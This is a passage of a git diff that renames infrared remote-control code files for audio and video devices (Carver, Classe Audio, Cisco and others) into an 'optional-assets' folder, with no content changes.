b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Amplifier/135,123.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Carver/Amplifier/135,123.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Amplifier/135,123.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Carver/CD Player/135,123.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/CD Player/135,123.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Carver/CD Player/135,123.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/CD Player/135,123.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Carver/CD Player/20,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/CD Player/20,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Carver/CD Player/20,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/CD Player/20,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Carver/CD Player/42,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/CD Player/42,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Carver/CD Player/42,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/CD Player/42,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Carver/CD Player/60,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/CD Player/60,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Carver/CD Player/60,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/CD Player/60,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Carver/CD Player/68,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/CD Player/68,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Carver/CD Player/68,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/CD Player/68,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Carver/CD Player/99,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/CD Player/99,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Carver/CD Player/99,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/CD Player/99,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Carver/Cassette Tape/130,111.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Cassette Tape/130,111.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Carver/Cassette Tape/130,111.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Cassette Tape/130,111.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Carver/Cassette Tape/135,126.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Cassette Tape/135,126.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Carver/Cassette Tape/135,126.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Cassette Tape/135,126.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Carver/Cassette Tape/18,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Cassette Tape/18,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Carver/Cassette Tape/18,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Cassette Tape/18,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Carver/Laser Disc/102,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Laser Disc/102,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Carver/Laser Disc/102,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Laser Disc/102,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Carver/Pre-Amplifier/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Carver/Pre-Amplifier/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Carver/Pre-Amplifier/12,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/12,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Carver/Pre-Amplifier/12,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/12,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Carver/Pre-Amplifier/135,123.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/135,123.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Carver/Pre-Amplifier/135,123.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/135,123.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Carver/Pre-Amplifier/16,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/16,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Carver/Pre-Amplifier/16,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/16,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Carver/Pre-Amplifier/17,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/17,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Carver/Pre-Amplifier/17,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/17,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Carver/Pre-Amplifier/20,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/20,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Carver/Pre-Amplifier/20,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/20,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Carver/Pre-Amplifier/21,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/21,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Carver/Pre-Amplifier/21,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/21,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Carver/Pre-Amplifier/23,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/23,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Carver/Pre-Amplifier/23,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/23,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Carver/Pre-Amplifier/5,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/5,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Carver/Pre-Amplifier/5,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/5,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Carver/Receiver/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Receiver/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Carver/Receiver/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Receiver/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Carver/Receiver/12,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Receiver/12,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Carver/Receiver/12,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Receiver/12,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Carver/Receiver/135,123.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Receiver/135,123.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Carver/Receiver/135,123.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Receiver/135,123.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Carver/Receiver/16,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Receiver/16,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Carver/Receiver/16,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Receiver/16,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Carver/Receiver/17,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Receiver/17,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Carver/Receiver/17,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Receiver/17,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Carver/Receiver/20,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Receiver/20,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Carver/Receiver/20,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Receiver/20,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Carver/Receiver/5,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Receiver/5,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Carver/Receiver/5,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Receiver/5,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Carver/Tuner/135,123.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Tuner/135,123.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Carver/Tuner/135,123.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Tuner/135,123.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Carver/Tuner/16,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Tuner/16,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Carver/Tuner/16,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Tuner/16,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Carver/Tuner/17,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Tuner/17,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Carver/Tuner/17,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Tuner/17,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Carver/Tuner/20,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Tuner/20,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Carver/Tuner/20,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Tuner/20,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Cary Audio Design/CD Player/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Cary Audio Design/CD Player/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Cary Audio Design/CD Player/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Cary Audio Design/CD Player/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Cary Audio Design/DVD Player/23,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Cary Audio Design/DVD Player/23,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Cary Audio Design/DVD Player/23,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Cary Audio Design/DVD Player/23,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Cary Audio Design/Receiver/19,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Cary Audio Design/Receiver/19,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Cary Audio Design/Receiver/19,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Cary Audio Design/Receiver/19,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Casio/Unknown_CMD-40/170,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Casio/Unknown_CMD-40/170,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Casio/Unknown_CMD-40/170,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Casio/Unknown_CMD-40/170,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Cce/Unknown_RC-27/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Cce/Unknown_RC-27/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Cce/Unknown_RC-27/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Cce/Unknown_RC-27/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Cce/Unknown_RC-28b/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Cce/Unknown_RC-28b/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Cce/Unknown_RC-28b/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Cce/Unknown_RC-28b/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Cce/Unknown_TV-CCE/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Cce/Unknown_TV-CCE/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Cce/Unknown_TV-CCE/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Cce/Unknown_TV-CCE/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Cce/Unknown_VCR-CCE/21,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Cce/Unknown_VCR-CCE/21,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Cce/Unknown_VCR-CCE/21,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Cce/Unknown_VCR-CCE/21,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Celadon/IR to RS232/123,2.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Celadon/IR to RS232/123,2.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Celadon/IR to RS232/123,2.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Celadon/IR to RS232/123,2.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Centrum/Unknown_Gemini/29,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Centrum/Unknown_Gemini/29,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Centrum/Unknown_Gemini/29,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Centrum/Unknown_Gemini/29,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Centrum/Unknown_rc5/29,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Centrum/Unknown_rc5/29,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Centrum/Unknown_rc5/29,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Centrum/Unknown_rc5/29,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Century Concept/Unknown_dvd/0,246.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Century Concept/Unknown_dvd/0,246.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Century Concept/Unknown_dvd/0,246.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Century Concept/Unknown_dvd/0,246.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Channel Master/Satellite/132,99.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Channel Master/Satellite/132,99.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Channel Master/Satellite/132,99.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Channel Master/Satellite/132,99.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Channel Plus/Video Switcher/49,235.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Channel Plus/Video Switcher/49,235.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Channel Plus/Video Switcher/49,235.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Channel Plus/Video Switcher/49,235.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Chaparral/Unknown_11-5315-1/128,103.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Chaparral/Unknown_11-5315-1/128,103.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Chaparral/Unknown_11-5315-1/128,103.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Chaparral/Unknown_11-5315-1/128,103.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Chief Manufacturing/Motorized Lift/130,19.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Chief Manufacturing/Motorized Lift/130,19.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Chief Manufacturing/Motorized Lift/130,19.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Chief Manufacturing/Motorized Lift/130,19.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Chief Manufacturing/Motorized Lift/48,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Chief Manufacturing/Motorized Lift/48,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Chief Manufacturing/Motorized Lift/48,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Chief Manufacturing/Motorized Lift/48,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Cinemateq/DVD Player/26,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Cinemateq/DVD Player/26,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Cinemateq/DVD Player/26,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Cinemateq/DVD Player/26,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Cinemateq/Video Scaler/27,1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Cinemateq/Video Scaler/27,1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Cinemateq/Video Scaler/27,1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Cinemateq/Video Scaler/27,1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Cisco/DVR/35,64.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Cisco/DVR/35,64.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Cisco/DVR/35,64.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Cisco/DVR/35,64.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Citation/Surround Processor/132,66.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Citation/Surround Processor/132,66.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Citation/Surround Processor/132,66.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Citation/Surround Processor/132,66.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Citizen/Unknown_JX-2022C/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Citizen/Unknown_JX-2022C/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Citizen/Unknown_JX-2022C/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Citizen/Unknown_JX-2022C/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Classe Audio/Amplifier/201,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/Amplifier/201,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Classe Audio/Amplifier/201,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/Amplifier/201,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Classe Audio/Amplifier/3,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/Amplifier/3,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Classe Audio/Amplifier/3,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/Amplifier/3,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Classe Audio/Amplifier/7,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/Amplifier/7,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Classe Audio/Amplifier/7,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/Amplifier/7,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Classe Audio/CD Player/134,97.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/CD Player/134,97.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Classe Audio/CD Player/134,97.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/CD Player/134,97.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Classe Audio/CD Player/20,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/CD Player/20,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Classe Audio/CD Player/20,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/CD Player/20,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Classe Audio/CRCD/16,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/CRCD/16,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Classe Audio/CRCD/16,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/CRCD/16,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Classe Audio/CRCD/17,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/CRCD/17,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Classe Audio/CRCD/17,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/CRCD/17,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Classe Audio/CRCD/20,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/CRCD/20,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Classe Audio/CRCD/20,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/CRCD/20,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Classe Audio/DVD Player/12,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/DVD Player/12,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Classe Audio/DVD Player/12,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/DVD Player/12,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Classe Audio/DVD Player/20,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/DVD Player/20,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Classe Audio/DVD Player/20,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/DVD Player/20,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Classe Audio/DVD Player/200,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/DVD Player/200,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Classe Audio/DVD Player/200,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/DVD Player/200,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Classe Audio/DVD Player/25,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/DVD Player/25,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Classe Audio/DVD Player/25,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/DVD Player/25,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Classe Audio/DVD Player/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/DVD Player/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Classe Audio/DVD Player/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/DVD Player/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Classe Audio/DVD Player/7,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/DVD Player/7,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Classe Audio/DVD Player/7,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/DVD Player/7,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Classe Audio/Integrated Amplifier/7,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/Integrated Amplifier/7,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Classe Audio/Integrated Amplifier/7,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/Integrated Amplifier/7,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Classe Audio/Pre-Amplifier/16,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/Pre-Amplifier/16,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Classe Audio/Pre-Amplifier/16,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/Pre-Amplifier/16,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Classe Audio/Pre-Amplifier/200,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/Pre-Amplifier/200,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Classe Audio/Pre-Amplifier/200,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/Pre-Amplifier/200,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Classe Audio/Pre-Amplifier/25,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/Pre-Amplifier/25,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Classe Audio/Pre-Amplifier/25,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/Pre-Amplifier/25,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Classe Audio/Pre-Amplifier/3,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/Pre-Amplifier/3,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Classe Audio/Pre-Amplifier/3,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/Pre-Amplifier/3,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Classe Audio/Pre-Amplifier/7,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/Pre-Amplifier/7,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Classe Audio/Pre-Amplifier/7,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/Pre-Amplifier/7,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Classe Audio/SACD/20,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/SACD/20,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Classe Audio/SACD/20,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/SACD/20,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Classe Audio/SACD/7,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/SACD/7,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Classe Audio/SACD/7,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/SACD/7,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Classe Audio/Surround Processor/116,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/Surround Processor/116,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Classe Audio/Surround Processor/116,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/Surround Processor/116,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Classe Audio/Surround Processor/200,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/Surround Processor/200,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Classe Audio/Surround Processor/200,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/Surround Processor/200,-1.ir diff --git 